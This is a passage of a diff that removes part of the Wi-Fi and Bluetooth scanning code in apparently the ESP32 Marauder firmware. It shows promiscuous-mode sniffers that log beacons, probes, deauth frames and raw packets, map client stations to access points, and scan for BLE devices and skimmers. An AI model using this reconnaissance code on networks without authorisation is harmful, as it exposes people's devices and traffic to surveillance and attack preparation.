-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table1[59],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("raw");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table1[58],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("deauth");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[39],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-
-// Function for running probe request scan
-void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("probe");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[40],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-// Function to start running any BLE scan
-void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef HAS_BT
-    #ifdef HAS_SCREEN
-      display_obj.print_delay_1 = 50;
-      display_obj.print_delay_2 = 20;
-    #endif
-  
-    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
-    NimBLEDevice::setScanDuplicateCacheSize(200);
-    NimBLEDevice::init("");
-    pBLEScan = NimBLEDevice::getScan(); //create new scan
-    if (scan_mode == BT_SCAN_ALL)
-    {
-      #ifdef HAS_SCREEN
-        display_obj.TOP_FIXED_AREA_2 = 48;
-        display_obj.tteBar = true;
-        display_obj.initScrollValues(true);
-        display_obj.tft.setTextWrap(false);
-        display_obj.tft.setTextColor(TFT_BLACK, color);
-        #ifndef MARAUDER_MINI
-          display_obj.tft.fillRect(0,16,240,16, color);
-          display_obj.tft.drawCentreString(text_table4[41],120,16,2);
-          display_obj.touchToExit();
-        #endif
-        display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-      #endif
-      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
-    }
-    else if (scan_mode == BT_SCAN_SKIMMERS)
-    {
-      #ifdef HAS_SCREEN
-        display_obj.TOP_FIXED_AREA_2 = 160;
-        display_obj.tteBar = true;
-        display_obj.tft.fillScreen(TFT_DARKGREY);
-        display_obj.initScrollValues(true);
-        display_obj.tft.setTextWrap(false);
-        display_obj.tft.setTextColor(TFT_BLACK, color);
-        display_obj.tft.fillRect(0,16,240,16, color);
-        display_obj.tft.drawCentreString(text_table4[42],120,16,2);
-        display_obj.twoPartDisplay(text_table4[43]);
-        display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
-        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-      #endif
-      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
-    }
-    pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
-    pBLEScan->setInterval(97);
-    pBLEScan->setWindow(37);  // less or equal setInterval value
-    pBLEScan->setMaxResults(0);
-    pBLEScan->start(0, scanCompleteCB, false);
-    Serial.println("Started BLE Scan");
-    this->ble_initialized = true;
-    initTime = millis();
-  #endif
-}
-
-// Function that is called when BLE scan is completed
-#ifdef HAS_BT
-  void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
-    printf("Scan complete!\n");
-    printf("Found %d devices\n", scanResults.getCount());
-    scanResults.dump();
-  } // scanCompleteCB
-#endif
-
-// Function to extract MAC addr from a packet at given offset
-void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
-  sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
-}
-
-void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String src_addr_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-  }
-  int fctl = ntohs(frameControl->fctl);
-  const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-  const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-  // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-  //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
-  //{
-
-  char addr[] = "00:00:00:00:00:00";
-  getMAC(addr, snifferPacket->payload, 10);
-
-  src_addr_string.concat(addr);
-  bool match = false;
-
-  for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
-    if (src_addr_string.startsWith(espressif_macs[i])) {
-      match = true;
-      break;
-    }
-  }
-  
-  if (!match)
-    return;
-
-  delay(random(0, 10));
-  Serial.print("RSSI: ");
-  Serial.print(snifferPacket->rx_ctrl.rssi);
-  Serial.print(" Ch: ");
-  Serial.print(snifferPacket->rx_ctrl.channel);
-  Serial.print(" BSSID: ");
-    
-  Serial.print(addr);
-  //display_string.concat(" RSSI: ");
-  //display_string.concat(snifferPacket->rx_ctrl.rssi);
-  display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
-
-  //display_string.concat(" ");
-  display_string.concat(" -> ");
-  display_string.concat(addr);
-
-  for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
-  {
-    display_string.concat(" ");
-  }
-
-  Serial.print(" ");
-
-  #ifdef HAS_SCREEN
-    display_obj.loading = true;
-    display_obj.display_buffer->add(display_string);
-    display_obj.loading = false;
-  #endif
-  
-  Serial.println();
-
-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{ 
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String src = "";
-  String essid = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      src.concat(addr);
-      if (src == "de:ad:be:ef:de:ad") {
-        
-        
-        delay(random(0, 10));
-        Serial.print("RSSI: ");
-        Serial.print(snifferPacket->rx_ctrl.rssi);
-        Serial.print(" Ch: ");
-        Serial.print(snifferPacket->rx_ctrl.channel);
-        Serial.print(" BSSID: ");
-        Serial.print(addr);
-        //display_string.concat(addr);
-        display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
-        Serial.print(" ESSID: ");
-        display_string.concat(" -> ");
-
-        // Just grab the first 255 bytes of the pwnagotchi beacon
-        // because that is where the name is
-        //for (int i = 0; i < snifferPacket->payload[37]; i++)
-        for (int i = 0; i < len - 37; i++)
-        {
-          Serial.print((char)snifferPacket->payload[i + 38]);
-          //display_string.concat((char)snifferPacket->payload[i + 38]);
-          if (isAscii(snifferPacket->payload[i + 38]))
-            essid.concat((char)snifferPacket->payload[i + 38]);
-          else
-            Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
-        }
-        //essid.concat("\": \"\"}}");
-        //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
-
-        // Load json
-        //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
-        DynamicJsonDocument json(1024); // ArduinoJson v6
-        //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
-         // ArduinoJson v6
-        if (deserializeJson(json, essid)) {
-          Serial.println("\nCould not parse Pwnagotchi json");
-          display_string.concat(essid);
-        }
-        else {
-          Serial.println("\nSuccessfully parsed json");
-          String json_output;
-          //json.printTo(json_output); // ArduinoJson v5
-          serializeJson(json, json_output); // ArduinoJson v6
-          Serial.println(json_output);
-          display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
-        }
-  
-        int temp_len = display_string.length();
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-
-        #ifdef HAS_SCREEN
-          if (display_obj.display_buffer->size() == 0)
-          {
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          }
-        #endif
-
-        Serial.println();
-
-        addPacket(snifferPacket, len);
-      }
-    }
-  }
-}
-
-void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String essid = "";
-  String bssid = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-
-      bool in_list = false;
-      bool mac_match = true;
-
-      for (int i = 0; i < access_points->size(); i++) {
-        mac_match = true;
-        //Serial.print("Checking ");
-        //Serial.print(addr);
-        //Serial.println(" against " + (String)access_points->get(i).essid);
-
-        
-        for (int x = 0; x < 6; x++) {
-          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
-            mac_match = false;
-            //Serial.println("MACs do not match");
-            break;
-          }
-        }
-        if (mac_match) {
-          in_list = true;
-          break;
-        }
-      }
-
-      if (!in_list) {
-      
-        delay(random(0, 10));
-        Serial.print("RSSI: ");
-        Serial.print(snifferPacket->rx_ctrl.rssi);
-        Serial.print(" Ch: ");
-        Serial.print(snifferPacket->rx_ctrl.channel);
-        Serial.print(" BSSID: ");
-        Serial.print(addr);
-        display_string.concat(addr);
-        Serial.print(" ESSID: ");
-        display_string.concat(" -> ");
-        for (int i = 0; i < snifferPacket->payload[37]; i++)
-        {
-          Serial.print((char)snifferPacket->payload[i + 38]);
-          display_string.concat((char)snifferPacket->payload[i + 38]);
-          essid.concat((char)snifferPacket->payload[i + 38]);
-
-          
-        }
-
-        bssid.concat(addr);
-  
-        int temp_len = display_string.length();
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-
-        #ifdef HAS_SCREEN
-          if (display_obj.display_buffer->size() == 0)
-          {
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          }
-        #endif
-        
-        if (essid == "") {
-          essid = bssid;
-          Serial.print(essid + " ");
-        }
-
-        //LinkedList<char> beacon = new LinkedList<char>();
-        
-        /*AccessPoint ap = {essid,
-                          snifferPacket->rx_ctrl.channel,
-                          {snifferPacket->payload[10],
-                           snifferPacket->payload[11],
-                           snifferPacket->payload[12],
-                           snifferPacket->payload[13],
-                           snifferPacket->payload[14],
-                           snifferPacket->payload[15]},
-                          false,
-                          NULL};*/
-
-        AccessPoint ap;
-        ap.essid = essid;
-        ap.channel = snifferPacket->rx_ctrl.channel;
-        ap.bssid[0] = snifferPacket->payload[10];
-        ap.bssid[1] = snifferPacket->payload[11];
-        ap.bssid[2] = snifferPacket->payload[12];
-        ap.bssid[3] = snifferPacket->payload[13];
-        ap.bssid[4] = snifferPacket->payload[14];
-        ap.bssid[5] = snifferPacket->payload[15];
-        ap.selected = false;
-        ap.stations = new LinkedList<int>();
-        
-        ap.beacon = new LinkedList<char>();
-
-        //for (int i = 0; i < len; i++) {
-        //  ap.beacon->add(snifferPacket->payload[i]);
-        //}
-        ap.beacon->add(snifferPacket->payload[34]);
-        ap.beacon->add(snifferPacket->payload[35]);
-
-        Serial.print("\nBeacon: ");
-
-        for (int i = 0; i < ap.beacon->size(); i++) {
-          char hexCar[4];
-          sprintf(hexCar, "%02X", ap.beacon->get(i));
-          Serial.print(hexCar);
-          if ((i + 1) % 16 == 0)
-            Serial.print("\n");
-          else
-            Serial.print(" ");
-        }
-
-        ap.rssi = snifferPacket->rx_ctrl.rssi;
-
-        access_points->add(ap);
-
-        Serial.print(access_points->size());
-
-        Serial.println();
-
-        addPacket(snifferPacket, len);
-      }
-    }
-  }
-}
-
-void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String essid = "";
-  String bssid = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-
-      bool in_list = false;
-      bool mac_match = true;
-
-      for (int i = 0; i < access_points->size(); i++) {
-        mac_match = true;
-        //Serial.print("Checking ");
-        //Serial.print(addr);
-        //Serial.println(" against " + (String)access_points->get(i).essid);
-
-        
-        for (int x = 0; x < 6; x++) {
-          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
-            mac_match = false;
-            //Serial.println("MACs do not match");
-            break;
-          }
-        }
-        if (mac_match) {
-          in_list = true;
-          break;
-        }
-      }
-
-      if (!in_list) {
-      
-        delay(random(0, 10));
-        Serial.print("RSSI: ");
-        Serial.print(snifferPacket->rx_ctrl.rssi);
-        Serial.print(" Ch: ");
-        Serial.print(snifferPacket->rx_ctrl.channel);
-        Serial.print(" BSSID: ");
-        Serial.print(addr);
-        display_string.concat(addr);
-        Serial.print(" ESSID: ");
-        display_string.concat(" -> ");
-        for (int i = 0; i < snifferPacket->payload[37]; i++)
-        {
-          Serial.print((char)snifferPacket->payload[i + 38]);
-          display_string.concat((char)snifferPacket->payload[i + 38]);
-          essid.concat((char)snifferPacket->payload[i + 38]);
-
-          
-        }
-
-        bssid.concat(addr);
-  
-        int temp_len = display_string.length();
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-
-        #ifdef HAS_SCREEN
-          if (display_obj.display_buffer->size() == 0)
-          {
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          }
-        #endif
-        
-        if (essid == "") {
-          essid = bssid;
-          Serial.print(essid + " ");
-        }
-        
-        AccessPoint ap = {essid,
-                          snifferPacket->rx_ctrl.channel,
-                          {snifferPacket->payload[10],
-                           snifferPacket->payload[11],
-                           snifferPacket->payload[12],
-                           snifferPacket->payload[13],
-                           snifferPacket->payload[14],
-                           snifferPacket->payload[15]},
-                          false,
-                          NULL,
-                          snifferPacket->rx_ctrl.rssi,
-                          new LinkedList<int>()};
-
-        access_points->add(ap);
-
-        Serial.print(access_points->size());
-
-        Serial.println();
-
-        addPacket(snifferPacket, len);
-      }
-    }
-  }
-}
-
-void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" BSSID: ");
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      Serial.print(addr);
-      display_string.concat(addr);
-      Serial.print(" ESSID: ");
-      display_string.concat(" -> ");
-      for (int i = 0; i < snifferPacket->payload[37]; i++)
-      {
-        Serial.print((char)snifferPacket->payload[i + 38]);
-        display_string.concat((char)snifferPacket->payload[i + 38]);
-      }
-
-      int temp_len = display_string.length();
-
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-
-      Serial.println();
-
-      addPacket(snifferPacket, len);
-    }
-  }
-}
-
-void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String mac = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  char ap_addr[] = "00:00:00:00:00:00";
-  char dst_addr[] = "00:00:00:00:00:00";
-
-  int ap_index = 0;
-
-  // Check if frame has ap in list of APs and determine position
-  uint8_t frame_offset = 0;
-  int offsets[2] = {10, 4};
-  bool matched_ap = false;
-  bool ap_is_src = false;
-
-  bool mac_match = true;
-
-  for (int y = 0; y < 2; y++) {
-    for (int i = 0; i < access_points->size(); i++) {
-      mac_match = true;
-      
-      for (int x = 0; x < 6; x++) {
-        //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-        if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
-          mac_match = false;
-          break;
-        }
-      }
-      if (mac_match) {
-        matched_ap = true;
-        if (offsets[y] == 10)
-          ap_is_src = true;
-        ap_index = i;
-        getMAC(ap_addr, snifferPacket->payload, offsets[y]);
-        break;
-      }
-    }
-    if (matched_ap)
-      break;
-  }
-
-  // If did not find ap from list in frame, drop frame
-  if (!matched_ap)
-    return;
-  else {
-    if (ap_is_src)
-      frame_offset = 4;
-    else
-      frame_offset = 10;
-  }
-  /*  Stuff to care about now
-   *  ap_is_src
-   *  ap_index
-   */
-  
-
-  // Check if we already have this station
-  bool in_list = false;
-  for (int i = 0; i < stations->size(); i++) {
-    mac_match = true;
-    
-    for (int x = 0; x < 6; x++) {
-      //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
-      if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
-        mac_match = false;
-        //Serial.println("MACs do not match");
-        break;
-      }
-    }
-    if (mac_match) {
-      in_list = true;
-      break;
-    }
-  }
-
-  getMAC(dst_addr, snifferPacket->payload, 4);
-
-  // Check if dest is broadcast
-  if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
-    return;
-  
-  // Add to list of stations
-  Station sta = {
-                {snifferPacket->payload[frame_offset],
-                 snifferPacket->payload[frame_offset + 1],
-                 snifferPacket->payload[frame_offset + 2],
-                 snifferPacket->payload[frame_offset + 3],
-                 snifferPacket->payload[frame_offset + 4],
-                 snifferPacket->payload[frame_offset + 5]},
-                false};
-
-  stations->add(sta);
-
-  // Print findings to serial
-  Serial.print((String)stations->size() + ": ");
-  
-  char sta_addr[] = "00:00:00:00:00:00";
-  
-  if (ap_is_src) {
-    Serial.print("ap: ");
-    Serial.print(ap_addr);
-    Serial.print(" -> sta: ");
-    getMAC(sta_addr, snifferPacket->payload, 4);
-    Serial.println(sta_addr);
-  }
-  else {
-    Serial.print("sta: ");
-    getMAC(sta_addr, snifferPacket->payload, 10);
-    Serial.print(sta_addr);
-    Serial.print(" -> ap: ");
-    Serial.println(ap_addr);
-  }
-  display_string.concat(sta_addr);
-  display_string.concat(" -> ");
-  display_string.concat(access_points->get(ap_index).essid);
-
-  int temp_len = display_string.length();
-
-  #ifdef HAS_SCREEN
-    for (int i = 0; i < 40 - temp_len; i++)
-    {
-      display_string.concat(" ");
-    }
-
-    Serial.print(" ");
-
-    if (display_obj.display_buffer->size() == 0)
-    {
-      display_obj.loading = true;
-      display_obj.display_buffer->add(display_string);
-      display_obj.loading = false;
-    }
-  #endif
-
-  // Add station index to AP in list
-  //access_points->get(ap_index).stations->add(stations->size() - 1);
-
-  AccessPoint ap = access_points->get(ap_index);
-  ap.stations->add(stations->size() - 1);
-
-  access_points->set(ap_index, ap);
-
-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  Serial.print("RSSI: ");
-  Serial.print(snifferPacket->rx_ctrl.rssi);
-  Serial.print(" Ch: ");
-  Serial.print(snifferPacket->rx_ctrl.channel);
-  Serial.print(" BSSID: ");
-  char addr[] = "00:00:00:00:00:00";
-  getMAC(addr, snifferPacket->payload, 10);
-  Serial.print(addr);
-  display_string.concat(text_table4[0]);
-  display_string.concat(snifferPacket->rx_ctrl.rssi);
-
-  display_string.concat(" ");
-  display_string.concat(addr);
-
-  int temp_len = display_string.length();
-
-  #ifdef HAS_SCREEN
-    for (int i = 0; i < 40 - temp_len; i++)
-    {
-      display_string.concat(" ");
-    }
-
-    Serial.print(" ");
-
-    if (display_obj.display_buffer->size() == 0)
-    {
-      display_obj.loading = true;
-      display_obj.display_buffer->add(display_string);
-      display_obj.loading = false;
-    }
-  #endif
-
-  Serial.println();
-
